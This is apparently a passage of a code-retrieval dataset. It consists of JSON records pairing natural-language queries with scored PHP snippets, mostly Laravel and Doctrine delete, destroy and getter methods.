$this->getEm()->createQueryBuilder()\n ->select('t')\n ->from('UnifikDoctrineBehaviorsBundle:Tagging', 't')\n ->where('t.resourceType = :type')\n ->setParameter('type', $resource->getResourceType())\n ->andWhere('t.resourceId = :id')\n ->setParameter('id', $resource->getId())\n ->getQuery()\n ->getResult();\n\n foreach ($taggingList as $tagging) {\n $this->getEm()->remove($tagging);\n }\n }", "title": "" }, { "docid": "30687a12463a759554c0cdd15b679592", "score": "0.56098014", "text": "public function remove (EntityInterface $entity);", "title": "" }, { "docid": "8bd2c06eeb1572fe4c48014cc912a6d6", "score": "0.5607892", "text": "public function delete() {\n @unlink($this->path());\n return parent::delete();\n }", "title": "" }, { "docid": "942f7427e779526c94189558d1185b66", "score": "0.56033164", "text": "public function delete()\n {\n Yii::debug(\"Deleting last upload.\", self::CATEGORY);\n unlink($this->path);\n Yii::$app->session->remove(self::cacheKey());\n }", "title": "" }, { "docid": "bc970628483c63b419ea48f599c8c972", "score": "0.5598614", "text": "public function destroy($id)\n {\n $product = Product::findOrFail($id);\n $photo = $product->image;\n if ($photo) {\n unlink($photo);\n Product::findOrFail($id)->delete(); \n }else{\n Product::findOrFail($id)->delete();\n }\n\n }", "title": "" }, { "docid": "14eedb590aed3088ebca2d6e88f88b70", "score": "0.55937696", "text": "public function destroy($id)\n {\n if ($id) {\n $storagek = Storagek::find($id);\n unlink(public_path('storage/images/').$storagek->file);\n $storagek->delete();\n return response()->json([\n \"success\" => true,\n \"message\" => \"File successfully delete\",\n ]);\n } else {\n return response()->json(['Err' => 'id no found']);\n }\n\n\n\n //\n }", "title": "" }, { "docid": "1b06eb968537fe78419acb4959d62e6d", "score": "0.55909395", "text": "public function destroy(Request $request, $id)\n\t{\n\t\t$storage = Storage::where('organization_id', $request->user()->organization_id)->where('storage_id', $id)->first();\n\n\t\tif ($storage) {\n\t\t\t$storage->delete();\n\t\t\tSession::flash('success', 'Склад была успешно удален из справочника!');\n\t\t} else {\n\t\t\tSession::flash('error', 'Склад не найден в справочнике!');\n\t\t}\n\n\t\treturn redirect()->route('storage.index');\n\t}", "title": "" }, { "docid": "1f90eefbc842f865e713597e80b0fc92", "score": "0.55857533", "text": "public function remove($file);", "title": "" }, { "docid": "b3f61ce5e85b70bb0bf7f3a5ad6064ba", "score": "0.55771476", "text": "function remove(){\n shm_remove($this->id);\n }", "title": "" }, { "docid": "68aa5a7a833751b6ce51749cd9ab047e", "score": "0.5570882", "text": "public function destroy()\n {\n LaraFile::delete(\"images/{Auth::user()->avatar}\");\n }", "title": "" }, { "docid": "1f9a85d3b28293dfe2336fc2953ad59f", "score": "0.55613", "text": "public function destroy($id)\n {\n // get divide\n $divide = Divide::findOrFail($id);\n \n File::delete(public_path('image/') . $divide->img);\n \n if($divide->delete()) {\n return new DivideResource($divide);\n }\n }", "title": "" }, { "docid": "3a507f65a1de28bc6b0f34c5d713d3a2", "score": "0.5560665", "text": "public function removeUpload()\n {\n \tif ($file = $this->getAbsolutePath()) {\n \t\tunlink($file);\n \t}\n }", "title": "" }, { "docid": "82eeede68c38b70a29849c8d452c2f6a", "score": "0.5556357", "text": "public function destroy($id)\n { \n $product = Item::find($id);\n $image = $product->image;\n\n $basename ='img/products/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n if($basename != 'img/products/img_place_holder_product.png'){\n unlink($basename);\n }\n }\n $product->delete();\n\n Session::flash('success','Product Deleted');\n return redirect()->back();\n }", "title": "" }, { "docid": "614063fb503a57e9decfce510aa95492", "score": "0.5555877", "text": "public function destroy($id)\n {\n $product = Product::find($id);\n if (($oldFile = $product->photo) !== 'uyuni.jpg'){\n Storage::delete($oldFile);\n }\n $product->delete();\n return redirect()->route('product.index')->with('success', 'Product successfully destroyed');\n }", "title": "" }, { "docid": "e58edf0ef06400cd31b9c6df91114be3", "score": "0.5555602", "text": "public function destroy(Attribute $attribute)\n {\n //delete a attribute by softDelete.\n $userId = $attribute->Category->Store->user_id;\n\n if (auth()->id() == $userId) {\n if ($attribute->delete()) {\n return new AttributeResource($attribute);\n }\n } else {\n abort(400, 'the Auth user do not store owner');\n }\n }", "title": "" }, { "docid": "7cdf7f14d455dbb5d9ed3ea3b44142b0", "score": "0.55545616", "text": "protected static function removeComponent()\n {\n (new Filesystem)->delete(\n resource_path('assets/js/components/ExampleComponent.vue')\n );\n }", "title": "" }, { "docid": "7488846bbe831c2c5afdad208317b7bd", "score": "0.5543239", "text": "public function destroy(File $file)\n {\n //\n $url = str_replace('storage', 'public', $file->url);\n Storage::delete($url);\n\n $file->delete();\n return redirect()->route('files.index')->with('eliminar', $file);\n }", "title": "" }, { "docid": "9d72fe7c299d9bc6b0d19ba6bb397fa3", "score": "0.55405164", "text": "public function destroy($id)\n {\n $product = Product::where('id', $id)->first();\n if ($product->image) {\n unlink($product->image);\n }\n Product::where('id', $id)->delete();\n }", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "66928b15fb30f2f5cf746449308643ba", "score": "0.5534244", "text": "public function remove()\n {\n $this->_context->builder->waveletRemove($this->waveId, $this->waveletId);\n }", "title": "" }, { "docid": "45876224e081764ab571b0cb929a5473", "score": "0.5533963", "text": "public function destroy($id)\n {\n\n $product=Product::find($id);\n $image=str_slug($product->imagePath);\n //no se borro la imagen ???\n Storage::delete($image);\n $product->delete();\n \n return back();\n \n }", "title": "" }, { "docid": "a3bbd69ef2b058074f49c04b76cdbd14", "score": "0.55301565", "text": "public function delete() {\n if ($this->_filepath and is_writable($this->_filepath)) {\n unlink($this->_filepath);\n }\n }", "title": "" }, { "docid": "98e71b5db6e284bbc48862c743eb819b", "score": "0.552751", "text": "public function destroy($id)\n {\n //\n $makale_resim = Article::find($id)->img->name;\n @unlink(public_path(\"uploads/\".$makale_resim));\n @unlink(public_path(\"uploads/thumb_\".$makale_resim));\n Img::where(\"imageable_id\",$id)->where(\"imageable_type\",\"App\\Article\")->delete();\n Article::destroy($id);\n Session::flash(\"durum\",1);\n return redirect(\"/admin/haber\");\n }", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" } ]
a65eb8b54903ef8e03ceb7318dcc9e8c
Returns the device model number
[ { "docid": "4493a9c94918f4dc3054ce4e2834fc1f", "score": "0.7323129", "text": "public function getDeviceModel()\n {\n return $this->deviceModel;\n }", "title": "" } ]
[ { "docid": "3804a8b904877547ec1a771a9ad3fdb7", "score": "0.78332245", "text": "public function getDeviceModel()\n {\n if (array_key_exists(\"deviceModel\", $this->_propDict)) {\n return $this->_propDict[\"deviceModel\"];\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "e16703818db90e1d11fcdadfecde5815", "score": "0.73817366", "text": "public function getDeviceModel(): ?string\n {\n return $this->data['device_model'] ?? null;\n }", "title": "" }, { "docid": "fe3aaaa2f154bf212a28f72268ce8ce3", "score": "0.708231", "text": "public function getDeviceNumber();", "title": "" }, { "docid": "8672331ad575db0e216a924745a6b8e8", "score": "0.6370969", "text": "public function getModelName()\n {\n return self::$serialModelName;\n }", "title": "" }, { "docid": "8672331ad575db0e216a924745a6b8e8", "score": "0.6370969", "text": "public function getModelName()\n {\n return self::$serialModelName;\n }", "title": "" }, { "docid": "94c2eba2c3d2bac29a8d387a96947cc2", "score": "0.6349392", "text": "public function device()\n\t\t{\n\t\t\t$this->db->select('*');\n\t\t\t$query = $this->db->get('device');\n\t\t\treturn $query->row();\n\t\t\t\n\t\t}", "title": "" }, { "docid": "5fbf7f7adc0c578aa9c9d89834dc5196", "score": "0.6346479", "text": "public function getModelId()\n {\n return isset($this->modelId) ? $this->modelId : null;\n }", "title": "" }, { "docid": "211ed069f88c78d6f3ae271e4ca2fe40", "score": "0.6339032", "text": "public function getInfoModel() {\n //\n // 3COM\n return PNMSnmp::get($this, '1.3.6.1.2.1.47.1.1.1.1.13.1', Yii::app()->params['cacheTtlGetSnmp']);\n }", "title": "" }, { "docid": "b5ca6db4ecdc129015a88a91a802b17c", "score": "0.6299254", "text": "public function getModelId()\n {\n return \\XLite\\Core\\Request::getInstance()->id;\n }", "title": "" }, { "docid": "6491ca2c363c2a65c4bb53c2c81acdb4", "score": "0.62964594", "text": "public function getModel(): string\n {\n return $this->model;\n }", "title": "" }, { "docid": "d6cfd612bd9254d75602507456716df7", "score": "0.6266451", "text": "public function getModelId()\n\t{\n\t\treturn $this->handler->get_table_id();\n\t}", "title": "" }, { "docid": "afab62281a0642837f15e86ab21b20f2", "score": "0.61596364", "text": "public static function model(): string\n {\n return static::$model;\n }", "title": "" }, { "docid": "fba8c2efbbd5d2f56e08e9d052033591", "score": "0.6157362", "text": "protected function getModelValue() {\n return $this->argument('model');\n }", "title": "" }, { "docid": "488791b2d8c8d8bc76ba49db29e54fa9", "score": "0.6149356", "text": "public function get_hardwareId(): string\n {\n // $serial is a str;\n\n $serial = $this->get_serialNumber();\n return $serial . '.module';\n }", "title": "" }, { "docid": "1922cb4f71f81c124db2c398cfa50435", "score": "0.6141979", "text": "public function getDeviceSerialNumber()\n {\n return $this->deviceSerialNumber;\n }", "title": "" }, { "docid": "e34f706f8a2763eb2c867c6b475806f6", "score": "0.61279577", "text": "protected function getModelInput(): string\n\t{\n\t\treturn trim($this->option('model'));\n\t}", "title": "" }, { "docid": "bdb84d6036b6ea35c4dcabf8f99f3ca9", "score": "0.6057758", "text": "public function getPlatform()\n\t{\n\n\t\treturn $this->getModelRow('platform');\n\t}", "title": "" }, { "docid": "00dc40f898bcb99cd269f7e5df033bf1", "score": "0.60501033", "text": "public function deviceType()\n {\n return $this->deviceType;\n }", "title": "" }, { "docid": "6525008cbf83404cf3242d9b7f75272e", "score": "0.59689987", "text": "public function getModelId() {\n\t\treturn $this->getSourceId();\n\t}", "title": "" }, { "docid": "a87b3de73827929f14df802aa44e5fd7", "score": "0.5967447", "text": "public function getDevice()\n {\n return $this->readOneof(9);\n }", "title": "" }, { "docid": "5e7e5f6607149ed09f8ba885dd9688d0", "score": "0.59550357", "text": "public function getModel()\n {\n return $this->data['fields']['model'];\n }", "title": "" }, { "docid": "082f0fe25befbc4a75115d95776b962d", "score": "0.59473115", "text": "protected function getModel(): string|null\n\t{\n\t\t$model = trim($this->getModelInput());\n\n\t\tif (! $model && $this->guessModel()) {\n\t\t\t$model = Str::singular(last(Str::ucsplit($this->getNameInput())));\n\t\t}\n\n\t\treturn $model ? $this->qualifyModel($model) : null;\n\t}", "title": "" }, { "docid": "d89afbbaedac38ee6bc45fc84569f1ab", "score": "0.59455454", "text": "public function getModelName() : string\n {\n return self::$openAPIModelName;\n }", "title": "" }, { "docid": "d89afbbaedac38ee6bc45fc84569f1ab", "score": "0.59455454", "text": "public function getModelName() : string\n {\n return self::$openAPIModelName;\n }", "title": "" }, { "docid": "d89afbbaedac38ee6bc45fc84569f1ab", "score": "0.59455454", "text": "public function getModelName() : string\n {\n return self::$openAPIModelName;\n }", "title": "" }, { "docid": "d89afbbaedac38ee6bc45fc84569f1ab", "score": "0.59455454", "text": "public function getModelName() : string\n {\n return self::$openAPIModelName;\n }", "title": "" }, { "docid": "d89afbbaedac38ee6bc45fc84569f1ab", "score": "0.59455454", "text": "public function getModelName() : string\n {\n return self::$openAPIModelName;\n }", "title": "" }, { "docid": "d89afbbaedac38ee6bc45fc84569f1ab", "score": "0.59455454", "text": "public function getModelName() : string\n {\n return self::$openAPIModelName;\n }", "title": "" }, { "docid": "d89afbbaedac38ee6bc45fc84569f1ab", "score": "0.59455454", "text": "public function getModelName() : string\n {\n return self::$openAPIModelName;\n }", "title": "" }, { "docid": "d89afbbaedac38ee6bc45fc84569f1ab", "score": "0.59455454", "text": "public function getModelName() : string\n {\n return self::$openAPIModelName;\n }", "title": "" }, { "docid": "77acbd53463f194fe30f746b0ad8417c", "score": "0.5910901", "text": "function getCpuModel(&$errors)\n{\n $result = \"N/A\";\n\n if ($cpuinfo = shell_exec('cat /proc/cpuinfo')) {\n $processors = preg_split('/\\s?\\n\\s?\\n/', trim($cpuinfo));\n\n foreach ($processors as $processor) {\n $details = preg_split('/\\n/', $processor, -1, PREG_SPLIT_NO_EMPTY);\n\n foreach ($details as $detail) {\n list($key, $value) = preg_split('/\\s*:\\s*/', trim($detail));\n\n switch (strtolower($key)) {\n case 'model name':\n case 'cpu model':\n case 'cpu':\n case 'processor':\n $result = $value;\n }\n }\n }\n\n if ($result === \"N/A\") {\n array_push($errors, \"CPU model could not be determined: output could not be parsed\");\n }\n } else {\n array_push($errors, \"CPU model could not be determined: command failed\");\n }\n\n return $result;\n}", "title": "" }, { "docid": "a6b9fb13341e0c066802261c977db4f8", "score": "0.58936644", "text": "private function _getModelForReference() {\n return substr($this->model, 2);\n }", "title": "" }, { "docid": "15a5e8e7b9a6eccc287914dab897c521", "score": "0.5886088", "text": "public function model()\n {\n return Software::class;\n }", "title": "" }, { "docid": "002ce1cdc3a0251fea0d455683338f95", "score": "0.58830297", "text": "protected function getModelName():string\n {\n return Technology::class;\n }", "title": "" }, { "docid": "ba66afbdfd9713addc62e61a32d2b3a0", "score": "0.58615535", "text": "public function getInfoSerialNumber() {\n //\n // 3COM\n return PNMSnmp::get($this, '1.3.6.1.2.1.47.1.1.1.1.11.1', Yii::app()->params['cacheTtlGetSnmp']);\n }", "title": "" }, { "docid": "fc333bd19606b79d3269cc3abaebb42d", "score": "0.5854316", "text": "public function getModelName() {\n return $this->model;\n }", "title": "" }, { "docid": "a6629d0794dc19f0089487c80d0c4dc9", "score": "0.58445877", "text": "public function getModelName(){\n\t\treturn $this->modelName;\n\t}", "title": "" }, { "docid": "ab4d81b973708b8d495f741167559012", "score": "0.5840169", "text": "public function getDevice()\n {\n $device = [];\n foreach ($this->deviceConfig as $key => $value)\n {\n $device[] = [\n \"vendor\" => $key,\n \"model\" => $value->model,\n ];\n }\n\n return $device;\n }", "title": "" }, { "docid": "5544a21ea77be1403e2c98ed34369668", "score": "0.5831375", "text": "private function getModelName()\n {\n $function = new \\ReflectionClass( $this->model ); \n return $function->getShortName();\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fefc2fb2099f8ad7f232cf19e73a8319", "score": "0.581631", "text": "public function getModelName()\r\n {\r\n return self::$openAPIModelName;\r\n }", "title": "" }, { "docid": "fabc1cc43ac0e74f63353bcb7c166e2d", "score": "0.58118266", "text": "public function modelName() {\n return self::$_name;\n }", "title": "" }, { "docid": "fabc1cc43ac0e74f63353bcb7c166e2d", "score": "0.58118266", "text": "public function modelName() {\n return self::$_name;\n }", "title": "" }, { "docid": "d9b4eb92b847ecc124de5872d63ee559", "score": "0.5795451", "text": "private function _getModelForRel() {\n return substr($this->model, 0, -3);\n }", "title": "" } ]
7c55ac57dd29457b960cc645c464343e
enforce the restriction of only setting predefined properties
[ { "docid": "8ec869df486f767f891d1e116eefa7be", "score": "0.0", "text": "public function __set($property, $value) {\r\n\t\tif(isset($this->__data[$property])) {\r\n\t\t\treturn $this->__data[$property] = $value;\r\n\t\t} else {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "title": "" } ]
[ { "docid": "e048adf60214ee647d8a07caa8908921", "score": "0.8144248", "text": "public function allowProperties() {}", "title": "" }, { "docid": "32c6efacee5ca71b3d7ee7806e78305e", "score": "0.7765103", "text": "public function allowAllProperties() {}", "title": "" }, { "docid": "c232bb08ef1cffcf09722b53a7c8842c", "score": "0.7331343", "text": "public function allowAllPropertiesExcept() {}", "title": "" }, { "docid": "c48b2c9f301a2c90a91d1ee4c1349043", "score": "0.7217242", "text": "protected function guardAgainstInvalidProperties()\n {\n }", "title": "" }, { "docid": "b84bb422443e2e32ae007f83b40de865", "score": "0.6945568", "text": "protected function setMandatoryProperties()\n {\n $this->mandatoryProperties = ['username','email','password','role'];\n }", "title": "" }, { "docid": "ef0b0f09fdc90183efe852e746e41400", "score": "0.679709", "text": "private function setAdditionalProps(): void\n {\n // additional props\n if (!empty($this->additionalProps)) {\n foreach ($this->additionalProps as $prop => $propVal) {\n $this->createProperty($prop, PhpInterface::PHP_MODIFIER_PUBLIC);\n }\n }\n }", "title": "" }, { "docid": "27aab9b2d67b980b095afc40da977b41", "score": "0.6790996", "text": "public function setPropertiesOnlyAcceptsValidValues()\n {\n $this->expectException(InvalidConfigurationException::class);\n $invalidProperties = [\n 'validProperty' => new Configuration\\ConfigurationProperty('validProperty', 'simple string'),\n 'invalidProperty' => 'foo'\n ];\n\n $this->objectConfiguration->setProperties($invalidProperties);\n }", "title": "" }, { "docid": "9831bd19034c2581996aa53ec056b1da", "score": "0.6633328", "text": "function shouldSkipUnknownProperties() ;", "title": "" }, { "docid": "583ece7c1021f1cb8bee4fdb58ec3e93", "score": "0.6594437", "text": "public function shouldSkipUnknownProperties() {}", "title": "" }, { "docid": "19da59f128ddc5a49931512c81800f49", "score": "0.65492684", "text": "protected function allowProperties($property){\n\t\t$propertyMappingConfiguration = $this->arguments[$property]->getPropertyMappingConfiguration();\n\t\t$propertyMappingConfiguration->allowAllProperties();\n\t\t$propertyMappingConfiguration->setTypeConverterOption(\n\t\t\t'TYPO3\\CMS\\Extbase\\Property\\TypeConverter\\PersistentObjectConverter', \n\t\t\t\\TYPO3\\CMS\\Extbase\\Property\\TypeConverter\\PersistentObjectConverter::CONFIGURATION_CREATION_ALLOWED, \n\t\t\tTRUE\n\t\t);\n\t}", "title": "" }, { "docid": "1f404480243cb11d8ea1bfcdb2d5a21e", "score": "0.65133363", "text": "public function testPropertySetFail() {\n $object = ValueObject::instance(1);\n $object->property = 1;\n }", "title": "" }, { "docid": "0167e94e2967010fb4ad2eb6644a8420", "score": "0.6483686", "text": "public function validate_props()\n {\n }", "title": "" }, { "docid": "0167e94e2967010fb4ad2eb6644a8420", "score": "0.6483208", "text": "public function validate_props()\n {\n }", "title": "" }, { "docid": "58889fb9c24651cb6c2be90f062621c5", "score": "0.64045763", "text": "protected function setup_properties()\n {\n }", "title": "" }, { "docid": "1ae341acf4b2a257977f8827b841bc36", "score": "0.6385063", "text": "private function validateProperties(): void\n {\n match ($this->scheme) {\n null, '', 'about', 'data', 'file', 'ftp', 'git', 'http', 'https', 'sftp', 'ssh', 'svn' => true,\n default => throw new InvalidArgumentException(\"Scheme \\\"{$this->scheme}\\\" is invalid\")\n };\n }", "title": "" }, { "docid": "897c418973a82917738d5e1887372c2d", "score": "0.63631666", "text": "private function validate_props() {\n\t\t$is_valid = $this->validate_conditions( $this->props, $this->props_schema );\n\n\t\t$this->props['valid'] = $is_valid;\n\t}", "title": "" }, { "docid": "c6328a2f4e795374fc73f0407fd1359c", "score": "0.62501323", "text": "public function set_properties($args) //should be able to accept the return value of get_properties\n\t{\n\t\tforeach($args as $key => $value){\n\t\t\tif(property_exists($this, $key) && (!isset(static::$hidden_props[$key]) || !static::$hidden_props[$key])) //i could also check if it's in the types\n\t\t\t{\n\t\t\t\tif(key_exists($key, static::$types) && static::$types[$key] == Type::BOOLEAN){\n\t\t\t\t\t$this->$key = true;\n\t\t\t\t}else{\n\t\t\t\t\t$this->$key = $value;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "9d26c1c40fe18c18b069875bb82b7ec7", "score": "0.62070143", "text": "public function setUnRequired();", "title": "" }, { "docid": 